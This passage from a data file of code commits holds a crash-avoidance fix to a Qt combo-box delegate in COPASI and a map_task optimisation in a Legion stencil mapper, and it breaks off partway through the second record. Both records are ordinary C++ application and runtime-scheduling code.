{"text":"<commit_before>\/\/ Copyright (C) 2010 - 2016 by Pedro Mendes, Virginia Tech Intellectual\n\/\/ Properties, Inc., University of Heidelberg, and The University\n\/\/ of Manchester.\n\/\/ All rights reserved.\n\n\/\/ Copyright (C) 2009 by Pedro Mendes, Virginia Tech Intellectual\n\/\/ Properties, Inc., EML Research, gGmbH, University of Heidelberg,\n\/\/ and The University of Manchester.\n\/\/ All rights reserved.\n\n#include <QtGui\/QComboBox>\n#include <QtGui\/QSortFilterProxyModel>\n\n#include \"CQComboDelegate.h\"\n\n#include \"copasi.h\"\n\nCQComboDelegate::CQComboDelegate(QObject *parent, const QStringList & comboItems, bool commitOnSelect):\n  QItemDelegate(parent),\n  mEditorToIndex(),\n  mRowToItems(),\n  mCommitOnSelect(commitOnSelect)\n{\n  mRowToItems[-1] = comboItems;\n}\n\nCQComboDelegate::~CQComboDelegate()\n{}\n\nQWidget *CQComboDelegate::createEditor(QWidget *parent,\n                                       const QStyleOptionViewItem & C_UNUSED(option),\n                                       const QModelIndex & index) const\n{\n  QModelIndex  SourceIndex = index;\n  const QAbstractItemModel *pModel = index.model();\n\n  while (pModel->inherits(\"QSortFilterProxyModel\"))\n    {\n      SourceIndex = static_cast< const QSortFilterProxyModel *>(pModel)->mapToSource(SourceIndex);\n      pModel = SourceIndex.model();\n    }\n\n  QComboBox *pEditor = new QComboBox(parent);\n  mEditorToIndex[pEditor] = SourceIndex;\n\n  pEditor->setAutoFillBackground(true);\n\n  if (!getItems(SourceIndex).empty())\n    {\n      pEditor->addItems(getItems(SourceIndex));\n    }\n\n  connect(pEditor, SIGNAL(currentIndexChanged(int)), this, SLOT(slotCurrentIndexChanged(int)));\n  connect(pEditor, SIGNAL(destroyed(QObject *)), this, SLOT(slotEditorDeleted(QObject *)));\n\n  return pEditor;\n}\n\nvoid CQComboDelegate::setEditorData(QWidget *editor,\n                                    const QModelIndex &index) const\n{\n  QString value = index.model()->data(index, Qt::DisplayRole).toString();\n  QComboBox *comboBox = static_cast<QComboBox*>(editor);\n\n  comboBox->blockSignals(true);\n  comboBox->setCurrentIndex(comboBox->findText(value));\n  comboBox->blockSignals(false);\n}\n\nvoid CQComboDelegate::setModelData(QWidget *editor, QAbstractItemModel *model,\n                                   const QModelIndex &index) const\n{\n  QComboBox *comboBox = static_cast<QComboBox*>(editor);\n  QVariant value(comboBox->currentText());\n  QVariant current = model->data(index, Qt::EditRole);\n\n  if (value != current)\n    model->setData(index, value, Qt::EditRole);\n}\n\nvoid CQComboDelegate::updateEditorGeometry(QWidget *pEditor, const QStyleOptionViewItem &option,\n    const QModelIndex & \/* index *\/) const\n{\n  QRect Rectangle = option.rect;\n  Rectangle.setRight(Rectangle.left() + std::min(Rectangle.width(), std::max(pEditor->sizeHint().width(), Rectangle.height())));\n  Rectangle.setBottom(Rectangle.top() + std::max(pEditor->sizeHint().height(), Rectangle.height()));\n  pEditor->setGeometry(Rectangle);\n}\n\nvoid CQComboDelegate::setItems(int row, const QStringList & comboItems)\n{\n  mRowToItems[row] = comboItems;\n}\n\nQStringList CQComboDelegate::getItems(const QModelIndex & index) const\n{\n  if (!mRowToItems[-1].empty())\n    {\n      return mRowToItems[-1];\n    }\n\n  QMap< int, QStringList >::const_iterator found = mRowToItems.find(index.row());\n\n  if (found != mRowToItems.end()) \/\/ OK to return found.value() = NULL\n    {\n      return found.value();\n    }\n\n  return index.model()->data(index, Qt::UserRole).toStringList();\n}\n\nvoid CQComboDelegate::slotCurrentIndexChanged(int index)\n{\n  QComboBox * pEditor = dynamic_cast< QComboBox * >(sender());\n\n  if (pEditor)\n    {\n      QMap< QWidget * , QModelIndex >::const_iterator found = mEditorToIndex.find(pEditor);\n\n      if (found != mEditorToIndex.end())\n        {\n          emit currentIndexChanged(found.value().row(), index);\n\n          if (mCommitOnSelect)\n            commitData(pEditor);\n        }\n    }\n}\n\nvoid CQComboDelegate::slotEditorDeleted(QObject * pObject)\n{\n  mEditorToIndex.remove(static_cast< QWidget * >(pObject));\n}\n\nbool CQComboDelegate::isCommitOnSelect() const\n{\n  return mCommitOnSelect;\n}\n\nQSize CQComboDelegate::sizeHint(const QStyleOptionViewItem & option, const QModelIndex & index) const\n{\n  QModelIndex  SourceIndex = index;\n  const QAbstractItemModel *pModel = index.model();\n\n  while (pModel->inherits(\"QSortFilterProxyModel\"))\n    {\n      SourceIndex = static_cast< const QSortFilterProxyModel *>(pModel)->mapToSource(SourceIndex);\n      pModel = SourceIndex.model();\n    }\n\n  QWidget * pEditor = mEditorToIndex.key(SourceIndex, NULL);\n\n  if (pEditor != NULL)\n    return pEditor->sizeHint();\n\n  QComboBox *pTmp = new QComboBox();\n\n  pTmp->setAutoFillBackground(true);\n\n  if (!getItems(SourceIndex).empty())\n    {\n      pTmp->addItems(getItems(SourceIndex));\n    }\n\n  QSize SizeHint = pTmp->sizeHint();\n\n  delete pTmp;\n\n  return SizeHint; \/\/ QItemDelegate::sizeHint(option, index);\n}\n\nvoid CQComboDelegate::setCommitOnSelect(bool commitOnSelect)\n{\n  mCommitOnSelect = commitOnSelect;\n}\n\nCQIndexComboDelegate::CQIndexComboDelegate(QObject *parent, const QStringList & comboItems, bool commitOnSelect)\n  : CQComboDelegate(parent, comboItems, commitOnSelect)\n{}\n\nCQIndexComboDelegate::~CQIndexComboDelegate()\n{}\n\nvoid CQIndexComboDelegate::setModelData(QWidget *editor, QAbstractItemModel *model,\n                                        const QModelIndex &index) const\n{\n  QComboBox *comboBox = static_cast<QComboBox*>(editor);\n  QVariant value(comboBox->currentIndex());\n  model->setData(index, value, Qt::EditRole);\n}\n<commit_msg>- avoid crash and needless commit<commit_after>\/\/ Copyright (C) 2010 - 2016 by Pedro Mendes, Virginia Tech Intellectual\n\/\/ Properties, Inc., University of Heidelberg, and The University\n\/\/ of Manchester.\n\/\/ All rights reserved.\n\n\/\/ Copyright (C) 2009 by Pedro Mendes, Virginia Tech Intellectual\n\/\/ Properties, Inc., EML Research, gGmbH, University of Heidelberg,\n\/\/ and The University of Manchester.\n\/\/ All rights reserved.\n\n#include <QtGui\/QComboBox>\n#include <QtGui\/QSortFilterProxyModel>\n\n#include \"CQComboDelegate.h\"\n\n#include \"copasi.h\"\n\nCQComboDelegate::CQComboDelegate(QObject *parent, const QStringList & comboItems, bool commitOnSelect):\n  QItemDelegate(parent),\n  mEditorToIndex(),\n  mRowToItems(),\n  mCommitOnSelect(commitOnSelect)\n{\n  mRowToItems[-1] = comboItems;\n}\n\nCQComboDelegate::~CQComboDelegate()\n{}\n\nQWidget *CQComboDelegate::createEditor(QWidget *parent,\n                                       const QStyleOptionViewItem & C_UNUSED(option),\n                                       const QModelIndex & index) const\n{\n  QModelIndex  SourceIndex = index;\n  const QAbstractItemModel *pModel = index.model();\n\n  while (pModel->inherits(\"QSortFilterProxyModel\"))\n    {\n      SourceIndex = static_cast< const QSortFilterProxyModel *>(pModel)->mapToSource(SourceIndex);\n      pModel = SourceIndex.model();\n    }\n\n  QComboBox *pEditor = new QComboBox(parent);\n  mEditorToIndex[pEditor] = SourceIndex;\n\n  pEditor->setAutoFillBackground(true);\n\n  if (!getItems(SourceIndex).empty())\n    {\n      pEditor->addItems(getItems(SourceIndex));\n    }\n\n  connect(pEditor, SIGNAL(currentIndexChanged(int)), this, SLOT(slotCurrentIndexChanged(int)));\n  connect(pEditor, SIGNAL(destroyed(QObject *)), this, SLOT(slotEditorDeleted(QObject *)));\n\n  return pEditor;\n}\n\nvoid CQComboDelegate::setEditorData(QWidget *editor,\n                                    const QModelIndex &index) const\n{\n  QString value = index.model()->data(index, Qt::DisplayRole).toString();\n  QComboBox *comboBox = static_cast<QComboBox*>(editor);\n\n  comboBox->blockSignals(true);\n  comboBox->setCurrentIndex(comboBox->findText(value));\n  comboBox->blockSignals(false);\n}\n\nvoid CQComboDelegate::setModelData(QWidget *editor, QAbstractItemModel *model,\n                                   const QModelIndex &index) const\n{\n  QComboBox *comboBox = static_cast<QComboBox*>(editor);\n  QVariant value(comboBox->currentText());\n  QVariant current = model->data(index, Qt::EditRole);\n\n  if (value != current && model->rowCount() > 0)\n    model->setData(index, value, Qt::EditRole);\n}\n\nvoid CQComboDelegate::updateEditorGeometry(QWidget *pEditor, const QStyleOptionViewItem &option,\n    const QModelIndex & \/* index *\/) const\n{\n  QRect Rectangle = option.rect;\n  Rectangle.setRight(Rectangle.left() + std::min(Rectangle.width(), std::max(pEditor->sizeHint().width(), Rectangle.height())));\n  Rectangle.setBottom(Rectangle.top() + std::max(pEditor->sizeHint().height(), Rectangle.height()));\n  pEditor->setGeometry(Rectangle);\n}\n\nvoid CQComboDelegate::setItems(int row, const QStringList & comboItems)\n{\n  mRowToItems[row] = comboItems;\n}\n\nQStringList CQComboDelegate::getItems(const QModelIndex & index) const\n{\n  if (!mRowToItems[-1].empty())\n    {\n      return mRowToItems[-1];\n    }\n\n  QMap< int, QStringList >::const_iterator found = mRowToItems.find(index.row());\n\n  if (found != mRowToItems.end()) \/\/ OK to return found.value() = NULL\n    {\n      return found.value();\n    }\n\n  return index.model()->data(index, Qt::UserRole).toStringList();\n}\n\nvoid CQComboDelegate::slotCurrentIndexChanged(int index)\n{\n  QComboBox * pEditor = dynamic_cast< QComboBox * >(sender());\n\n  if (pEditor)\n    {\n      QMap< QWidget * , QModelIndex >::const_iterator found = mEditorToIndex.find(pEditor);\n\n      if (found != mEditorToIndex.end())\n        {\n          emit currentIndexChanged(found.value().row(), index);\n\n          if (mCommitOnSelect)\n            commitData(pEditor);\n        }\n    }\n}\n\nvoid CQComboDelegate::slotEditorDeleted(QObject * pObject)\n{\n  mEditorToIndex.remove(static_cast< QWidget * >(pObject));\n}\n\nbool CQComboDelegate::isCommitOnSelect() const\n{\n  return mCommitOnSelect;\n}\n\nQSize CQComboDelegate::sizeHint(const QStyleOptionViewItem & option, const QModelIndex & index) const\n{\n  QModelIndex  SourceIndex = index;\n  const QAbstractItemModel *pModel = index.model();\n\n  while (pModel != NULL && pModel->inherits(\"QSortFilterProxyModel\"))\n    {\n      SourceIndex = static_cast< const QSortFilterProxyModel *>(pModel)->mapToSource(SourceIndex);\n      pModel = SourceIndex.model();\n    }\n\n  QWidget * pEditor = mEditorToIndex.key(SourceIndex, NULL);\n\n  if (pEditor != NULL)\n    return pEditor->sizeHint();\n\n  QComboBox *pTmp = new QComboBox();\n\n  pTmp->setAutoFillBackground(true);\n\n  if (!getItems(SourceIndex).empty())\n    {\n      pTmp->addItems(getItems(SourceIndex));\n    }\n\n  QSize SizeHint = pTmp->sizeHint();\n\n  delete pTmp;\n\n  return SizeHint; \/\/ QItemDelegate::sizeHint(option, index);\n}\n\nvoid CQComboDelegate::setCommitOnSelect(bool commitOnSelect)\n{\n  mCommitOnSelect = commitOnSelect;\n}\n\nCQIndexComboDelegate::CQIndexComboDelegate(QObject *parent, const QStringList & comboItems, bool commitOnSelect)\n  : CQComboDelegate(parent, comboItems, commitOnSelect)\n{}\n\nCQIndexComboDelegate::~CQIndexComboDelegate()\n{}\n\nvoid CQIndexComboDelegate::setModelData(QWidget *editor, QAbstractItemModel *model,\n                                        const QModelIndex &index) const\n{\n  QComboBox *comboBox = static_cast<QComboBox*>(editor);\n  QVariant value(comboBox->currentIndex());\n\n  if (model->data(index, Qt::EditRole) != value)\n    model->setData(index, value, Qt::EditRole);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* Copyright 2017 Stanford University\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"stencil_mapper.h\"\n\n#include \"default_mapper.h\"\n\n#define SPMD_SHARD_USE_IO_PROC 1\n\nusing namespace Legion;\nusing namespace Legion::Mapping;\n\nstatic LegionRuntime::Logger::Category log_stencil(\"stencil\");\n\nclass StencilMapper : public DefaultMapper\n{\npublic:\n  StencilMapper(MapperRuntime *rt, Machine machine, Processor local,\n                const char *mapper_name,\n                std::vector<Processor>* procs_list,\n                std::vector<Memory>* sysmems_list,\n                std::map<Memory, std::vector<Processor> >* sysmem_local_procs,\n#if SPMD_SHARD_USE_IO_PROC\n                std::map<Memory, std::vector<Processor> >* sysmem_local_io_procs,\n#endif\n                std::map<Processor, Memory>* proc_sysmems,\n                std::map<Processor, Memory>* proc_regmems);\n  virtual void select_task_options(const MapperContext    ctx,\n                                   const Task&            task,\n                                         TaskOptions&     output);\n  virtual void default_policy_rank_processor_kinds(\n                                    MapperContext ctx, const Task &task,\n                                    std::vector<Processor::Kind> &ranking);\n  virtual Processor default_policy_select_initial_processor(\n                                    MapperContext ctx, const Task &task);\n  virtual void default_policy_select_target_processors(\n                                    MapperContext ctx,\n                                    const Task &task,\n                                    std::vector<Processor> &target_procs);\n  virtual void map_copy(const MapperContext ctx,\n                        const Copy &copy,\n                        const MapCopyInput &input,\n                        MapCopyOutput &output);\n  template<bool IS_SRC>\n  void stencil_create_copy_instance(MapperContext ctx, const Copy &copy,\n                                    const RegionRequirement &req, unsigned index,\n                                    std::vector<PhysicalInstance> &instances);\nprivate:\n  std::vector<Processor>& procs_list;\n  \/\/ std::vector<Memory>& sysmems_list;\n  std::map<Memory, std::vector<Processor> >& sysmem_local_procs;\n#if SPMD_SHARD_USE_IO_PROC\n  std::map<Memory, std::vector<Processor> >& sysmem_local_io_procs;\n#endif\n  \/\/ std::map<Processor, Memory>& proc_sysmems;\n  \/\/ std::map<Processor, Memory>& proc_regmems;\n};\n\nStencilMapper::StencilMapper(MapperRuntime *rt, Machine machine, Processor local,\n                             const char *mapper_name,\n                             std::vector<Processor>* _procs_list,\n                             std::vector<Memory>* _sysmems_list,\n                             std::map<Memory, std::vector<Processor> >* _sysmem_local_procs,\n#if SPMD_SHARD_USE_IO_PROC\n                             std::map<Memory, std::vector<Processor> >* _sysmem_local_io_procs,\n#endif\n                             std::map<Processor, Memory>* _proc_sysmems,\n                             std::map<Processor, Memory>* _proc_regmems)\n  : DefaultMapper(rt, machine, local, mapper_name)\n  , procs_list(*_procs_list)\n  \/\/ , sysmems_list(*_sysmems_list)\n  , sysmem_local_procs(*_sysmem_local_procs)\n#if SPMD_SHARD_USE_IO_PROC\n  , sysmem_local_io_procs(*_sysmem_local_io_procs)\n#endif\n  \/\/ , proc_sysmems(*_proc_sysmems)\n  \/\/ , proc_regmems(*_proc_regmems)\n{\n}\n\nvoid StencilMapper::select_task_options(const MapperContext    ctx,\n                                        const Task&            task,\n                                              TaskOptions&     output)\n{\n  output.initial_proc = default_policy_select_initial_processor(ctx, task);\n  output.inline_task = false;\n  output.stealable = stealing_enabled;\n#ifdef MAP_LOCALLY\n  output.map_locally = true;\n#else\n  output.map_locally = false;\n#endif\n}\n\nvoid StencilMapper::default_policy_rank_processor_kinds(MapperContext ctx,\n                        const Task &task, std::vector<Processor::Kind> &ranking)\n{\n#if SPMD_SHARD_USE_IO_PROC\n  const char* task_name = task.get_task_name();\n  const char* prefix = \"shard_\";\n  if (strncmp(task_name, prefix, strlen(prefix)) == 0) {\n    \/\/ Put shard tasks on IO processors.\n    ranking.resize(4);\n    ranking[0] = Processor::TOC_PROC;\n    ranking[1] = Processor::PROC_SET;\n    ranking[2] = Processor::IO_PROC;\n    ranking[3] = Processor::LOC_PROC;\n  } else {\n#endif\n    ranking.resize(4);\n    ranking[0] = Processor::TOC_PROC;\n    ranking[1] = Processor::PROC_SET;\n    ranking[2] = Processor::LOC_PROC;\n    ranking[3] = Processor::IO_PROC;\n#if SPMD_SHARD_USE_IO_PROC\n  }\n#endif\n}\n\nProcessor StencilMapper::default_policy_select_initial_processor(\n                                    MapperContext ctx, const Task &task)\n{\n  return DefaultMapper::default_policy_select_initial_processor(ctx, task);\n}\n\nvoid StencilMapper::default_policy_select_target_processors(\n                                    MapperContext ctx,\n                                    const Task &task,\n                                    std::vector<Processor> &target_procs)\n{\n  target_procs.push_back(task.target_proc);\n}\n\nvoid StencilMapper::map_copy(const MapperContext ctx,\n                             const Copy &copy,\n                             const MapCopyInput &input,\n                             MapCopyOutput &output)\n{\n  log_stencil.spew(\"Stencil mapper map_copy\");\n  for (unsigned idx = 0; idx < copy.src_requirements.size(); idx++)\n  {\n    \/\/ Always use a virtual instance for the source.\n    output.src_instances[idx].clear();\n    output.src_instances[idx].push_back(\n      PhysicalInstance::get_virtual_instance());\n\n    \/\/ Place the destination instance on the remote node.\n    output.dst_instances[idx].clear();\n    if (!copy.dst_requirements[idx].is_restricted()) {\n      \/\/ Call a customized method to create an instance on the desired node.\n      stencil_create_copy_instance<false\/*is src*\/>(ctx, copy, \n        copy.dst_requirements[idx], idx, output.dst_instances[idx]);\n    } else {\n      \/\/ If it's restricted, just take the instance. This will only\n      \/\/ happen inside the shard task.\n      output.dst_instances[idx] = input.dst_instances[idx];\n      if (!output.dst_instances[idx].empty())\n        runtime->acquire_and_filter_instances(ctx,\n                                output.dst_instances[idx]);\n    }\n  }\n}\n\n\/\/--------------------------------------------------------------------------\ntemplate<bool IS_SRC>\nvoid StencilMapper::stencil_create_copy_instance(MapperContext ctx,\n                     const Copy &copy, const RegionRequirement &req, \n                     unsigned idx, std::vector<PhysicalInstance> &instances)\n\/\/--------------------------------------------------------------------------\n{\n  \/\/ This method is identical to the default version except that it\n  \/\/ chooses an intelligent memory based on the destination of the\n  \/\/ copy.\n\n  \/\/ See if we have all the fields covered\n  std::set<FieldID> missing_fields = req.privilege_fields;\n  for (std::vector<PhysicalInstance>::const_iterator it = \n        instances.begin(); it != instances.end(); it++)\n  {\n    it->remove_space_fields(missing_fields);\n    if (missing_fields.empty())\n      break;\n  }\n  if (missing_fields.empty())\n    return;\n  \/\/ If we still have fields, we need to make an instance\n  \/\/ We clearly need to take a guess, let's see if we can find\n  \/\/ one of our instances to use.\n\n  \/\/ ELLIOTT: Get the remote node here.\n  Color index = runtime->get_logical_region_color(ctx, copy.src_requirements[idx].region);\n  Memory target_memory = default_policy_select_target_memory(ctx,\n                           procs_list[index % procs_list.size()]);\n  log_stencil.warning(\"Building instance for copy of a region with index %u to be in memory %llx\",\n                      index, target_memory.id);\n  bool force_new_instances = false;\n  LayoutConstraintID our_layout_id = \n   default_policy_select_layout_constraints(ctx, target_memory, \n                                            req, COPY_MAPPING,\n                                            true\/*needs check*\/, \n                                            force_new_instances);\n  LayoutConstraintSet creation_constraints = \n              runtime->find_layout_constraints(ctx, our_layout_id);\n  creation_constraints.add_constraint(\n      FieldConstraint(missing_fields,\n                      false\/*contig*\/, false\/*inorder*\/));\n  instances.resize(instances.size() + 1);\n  if (!default_make_instance(ctx, target_memory, \n        creation_constraints, instances.back(), \n        COPY_MAPPING, force_new_instances, true\/*meets*\/, req))\n  {\n    \/\/ If we failed to make it that is bad\n    log_stencil.error(\"Stencil mapper failed allocation for \"\n                   \"%s region requirement %d of explicit \"\n                   \"region-to-region copy operation in task %s \"\n                   \"(ID %lld) in memory \" IDFMT \" for processor \"\n                   IDFMT \". This means the working set of your \"\n                   \"application is too big for the allotted \"\n                   \"capacity of the given memory under the default \"\n                   \"mapper's mapping scheme. You have three \"\n                   \"choices: ask Realm to allocate more memory, \"\n                   \"write a custom mapper to better manage working \"\n                   \"sets, or find a bigger machine. Good luck!\",\n                   IS_SRC ? \"source\" : \"destination\", idx, \n                   copy.parent_task->get_task_name(),\n                   copy.parent_task->get_unique_id(),\n\t\t       target_memory.id,\n\t\t       copy.parent_task->current_proc.id);\n    assert(false);\n  }\n}\n\nstatic void create_mappers(Machine machine, HighLevelRuntime *runtime, const std::set<Processor> &local_procs)\n{\n  std::vector<Processor>* procs_list = new std::vector<Processor>();\n  std::vector<Memory>* sysmems_list = new std::vector<Memory>();\n  std::map<Memory, std::vector<Processor> >* sysmem_local_procs =\n    new std::map<Memory, std::vector<Processor> >();\n#if SPMD_SHARD_USE_IO_PROC\n  std::map<Memory, std::vector<Processor> >* sysmem_local_io_procs =\n    new std::map<Memory, std::vector<Processor> >();\n#endif\n  std::map<Processor, Memory>* proc_sysmems = new std::map<Processor, Memory>();\n  std::map<Processor, Memory>* proc_regmems = new std::map<Processor, Memory>();\n\n\n  std::vector<Machine::ProcessorMemoryAffinity> proc_mem_affinities;\n  machine.get_proc_mem_affinity(proc_mem_affinities);\n\n  for (unsigned idx = 0; idx < proc_mem_affinities.size(); ++idx) {\n    Machine::ProcessorMemoryAffinity& affinity = proc_mem_affinities[idx];\n    if (affinity.p.kind() == Processor::LOC_PROC) {\n      if (affinity.m.kind() == Memory::SYSTEM_MEM) {\n        (*proc_sysmems)[affinity.p] = affinity.m;\n        if (proc_regmems->find(affinity.p) == proc_regmems->end())\n          (*proc_regmems)[affinity.p] = affinity.m;\n      }\n      else if (affinity.m.kind() == Memory::REGDMA_MEM)\n        (*proc_regmems)[affinity.p] = affinity.m;\n    }\n  }\n\n  for (std::map<Processor, Memory>::iterator it = proc_sysmems->begin();\n       it != proc_sysmems->end(); ++it) {\n    if (it->first.kind() == Processor::LOC_PROC) {\n      procs_list->push_back(it->first);\n      (*sysmem_local_procs)[it->second].push_back(it->first);\n    }\n#if SPMD_SHARD_USE_IO_PROC\n    else if (it->first.kind() == Processor::IO_PROC) {\n      (*sysmem_local_io_procs)[it->second].push_back(it->first);\n    }\n#endif\n  }\n\n  for (std::map<Memory, std::vector<Processor> >::iterator it =\n        sysmem_local_procs->begin(); it != sysmem_local_procs->end(); ++it)\n    sysmems_list->push_back(it->first);\n\n  for (std::set<Processor>::const_iterator it = local_procs.begin();\n        it != local_procs.end(); it++)\n  {\n    StencilMapper* mapper = new StencilMapper(runtime->get_mapper_runtime(),\n                                              machine, *it, \"stencil_mapper\",\n                                              procs_list,\n                                              sysmems_list,\n                                              sysmem_local_procs,\n#if SPMD_SHARD_USE_IO_PROC\n                                              sysmem_local_io_procs,\n#endif\n                                              proc_sysmems,\n                                              proc_regmems);\n    runtime->replace_default_mapper(mapper, *it);\n  }\n}\n\nvoid register_mappers()\n{\n  HighLevelRuntime::add_registration_callback(create_mappers);\n}\n<commit_msg>regent: Update Stencil mapper to optimize map_task.<commit_after>\/* Copyright 2017 Stanford University\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"stencil_mapper.h\"\n\n#include \"default_mapper.h\"\n\n#define SPMD_SHARD_USE_IO_PROC 1\n\nusing namespace Legion;\nusing namespace Legion::Mapping;\n\nstatic LegionRuntime::Logger::Category log_stencil(\"stencil\");\n\nclass StencilMapper : public DefaultMapper\n{\npublic:\n  StencilMapper(MapperRuntime *rt, Machine machine, Processor local,\n                const char *mapper_name,\n                std::vector<Processor>* procs_list,\n                std::vector<Memory>* sysmems_list,\n                std::map<Memory, std::vector<Processor> >* sysmem_local_procs,\n#if SPMD_SHARD_USE_IO_PROC\n                std::map<Memory, std::vector<Processor> >* sysmem_local_io_procs,\n#endif\n                std::map<Processor, Memory>* proc_sysmems,\n                std::map<Processor, Memory>* proc_regmems);\n  virtual void select_task_options(const MapperContext    ctx,\n                                   const Task&            task,\n                                         TaskOptions&     output);\n  virtual void default_policy_rank_processor_kinds(\n                                    MapperContext ctx, const Task &task,\n                                    std::vector<Processor::Kind> &ranking);\n  virtual Processor default_policy_select_initial_processor(\n                                    MapperContext ctx, const Task &task);\n  virtual void default_policy_select_target_processors(\n                                    MapperContext ctx,\n                                    const Task &task,\n                                    std::vector<Processor> &target_procs);\n  virtual LogicalRegion default_policy_select_instance_region(\n                                MapperContext ctx, Memory target_memory,\n                                const RegionRequirement &req,\n                                const LayoutConstraintSet &constraints,\n                                bool force_new_instances,\n                                bool meets_constraints);\n  virtual void map_task(const MapperContext ctx,\n                        const Task &task,\n                        const MapTaskInput &input,\n                        MapTaskOutput &output);\n  virtual void map_copy(const MapperContext ctx,\n                        const Copy &copy,\n                        const MapCopyInput &input,\n                        MapCopyOutput &output);\n  template<bool IS_SRC>\n  void stencil_create_copy_instance(MapperContext ctx, const Copy &copy,\n                                    const RegionRequirement &req, unsigned index,\n                                    std::vector<PhysicalInstance> &instances);\nprivate:\n  std::vector<Processor>& procs_list;\n  \/\/ std::vector<Memory>& sysmems_list;\n  std::map<Memory, std::vector<Processor> >& sysmem_local_procs;\n#if SPMD_SHARD_USE_IO_PROC\n  std::map<Memory, std::vector<Processor> >& sysmem_local_io_procs;\n#endif\n  \/\/ std::map<Processor, Memory>& proc_sysmems;\n  \/\/ std::map<Processor, Memory>& proc_regmems;\n};\n\nStencilMapper::StencilMapper(MapperRuntime *rt, Machine machine, Processor local,\n                             const char *mapper_name,\n                             std::vector<Processor>* _procs_list,\n                             std::vector<Memory>* _sysmems_list,\n                             std::map<Memory, std::vector<Processor> >* _sysmem_local_procs,\n#if SPMD_SHARD_USE_IO_PROC\n                             std::map<Memory, std::vector<Processor> >* _sysmem_local_io_procs,\n#endif\n                             std::map<Processor, Memory>* _proc_sysmems,\n                             std::map<Processor, Memory>* _proc_regmems)\n  : DefaultMapper(rt, machine, local, mapper_name)\n  , procs_list(*_procs_list)\n  \/\/ , sysmems_list(*_sysmems_list)\n  , sysmem_local_procs(*_sysmem_local_procs)\n#if SPMD_SHARD_USE_IO_PROC\n  , sysmem_local_io_procs(*_sysmem_local_io_procs)\n#endif\n  \/\/ , proc_sysmems(*_proc_sysmems)\n  \/\/ , proc_regmems(*_proc_regmems)\n{\n}\n\nvoid StencilMapper::select_task_options(const MapperContext    ctx,\n                                        const Task&            task,\n                                              TaskOptions&     output)\n{\n  output.initial_proc = default_policy_select_initial_processor(ctx, task);\n  output.inline_task = false;\n  output.stealable = stealing_enabled;\n#ifdef MAP_LOCALLY\n  output.map_locally = true;\n#else\n  output.map_locally = false;\n#endif\n}\n\nvoid StencilMapper::default_policy_rank_processor_kinds(MapperContext ctx,\n                        const Task &task, std::vector<Processor::Kind> &ranking)\n{\n#if SPMD_SHARD_USE_IO_PROC\n  const char* task_name = task.get_task_name();\n  const char* prefix = \"shard_\";\n  if (strncmp(task_name, prefix, strlen(prefix)) == 0) {\n    \/\/ Put shard tasks on IO processors.\n    ranking.resize(4);\n    ranking[0] = Processor::TOC_PROC;\n    ranking[1] = Processor::PROC_SET;\n    ranking[2] = Processor::IO_PROC;\n    ranking[3] = Processor::LOC_PROC;\n  } else {\n#endif\n    ranking.resize(4);\n    ranking[0] = Processor::TOC_PROC;\n    ranking[1] = Processor::PROC_SET;\n    ranking[2] = Processor::LOC_PROC;\n    ranking[3] = Processor::IO_PROC;\n#if SPMD_SHARD_USE_IO_PROC\n  }\n#endif\n}\n\nProcessor StencilMapper::default_policy_select_initial_processor(\n                                    MapperContext ctx, const Task &task)\n{\n  return DefaultMapper::default_policy_select_initial_processor(ctx, task);\n}\n\nvoid StencilMapper::default_policy_select_target_processors(\n                                    MapperContext ctx,\n                                    const Task &task,\n                                    std::vector<Processor> &target_procs)\n{\n  target_procs.push_back(task.target_proc);\n}\n\nLogicalRegion StencilMapper::default_policy_select_instance_region(\n                              MapperContext ctx, Memory target_memory,\n                              const RegionRequirement &req,\n                              const LayoutConstraintSet &constraints,\n                              bool force_new_instances,\n                              bool meets_constraints)\n{\n  return req.region;\n}\n\nvoid StencilMapper::map_task(const MapperContext      ctx,\n                             const Task&              task,\n                             const MapTaskInput&      input,\n                                   MapTaskOutput&     output)\n{\n  if (task.parent_task != NULL && task.parent_task->must_epoch_task) {\n    Processor::Kind target_kind = task.target_proc.kind();\n    \/\/ Get the variant that we are going to use to map this task\n    VariantInfo chosen = default_find_preferred_variant(task, ctx,\n                                                        true\/*needs tight bound*\/, true\/*cache*\/, target_kind);\n    output.chosen_variant = chosen.variant;\n    \/\/ TODO: some criticality analysis to assign priorities\n    output.task_priority = 0;\n    output.postmap_task = false;\n    \/\/ Figure out our target processors\n    output.target_procs.push_back(task.target_proc);\n\n    for (unsigned idx = 0; idx < task.regions.size(); idx++) {\n      const RegionRequirement &req = task.regions[idx];\n\n      \/\/ Skip any empty regions\n      if ((req.privilege == NO_ACCESS) || (req.privilege_fields.empty()))\n        continue;\n\n      assert(input.valid_instances[idx].size() == 1);\n      output.chosen_instances[idx] = input.valid_instances[idx];\n      bool ok = runtime->acquire_and_filter_instances(ctx, output.chosen_instances);\n      if (!ok) {\n        log_stencil.error(\"failed to acquire instances\");\n        assert(false);\n      }\n    }\n    return;\n  }\n\n  DefaultMapper::map_task(ctx, task, input, output);\n}\n\nvoid StencilMapper::map_copy(const MapperContext ctx,\n                             const Copy &copy,\n                             const MapCopyInput &input,\n                             MapCopyOutput &output)\n{\n  log_stencil.spew(\"Stencil mapper map_copy\");\n  for (unsigned idx = 0; idx < copy.src_requirements.size(); idx++)\n  {\n    \/\/ Always use a virtual instance for the source.\n    output.src_instances[idx].clear();\n    output.src_instances[idx].push_back(\n      PhysicalInstance::get_virtual_instance());\n\n    \/\/ Place the destination instance on the remote node.\n    output.dst_instances[idx].clear();\n    if (!copy.dst_requirements[idx].is_restricted()) {\n      \/\/ Call a customized method to create an instance on the desired node.\n      stencil_create_copy_instance<false\/*is src*\/>(ctx, copy, \n        copy.dst_requirements[idx], idx, output.dst_instances[idx]);\n    } else {\n      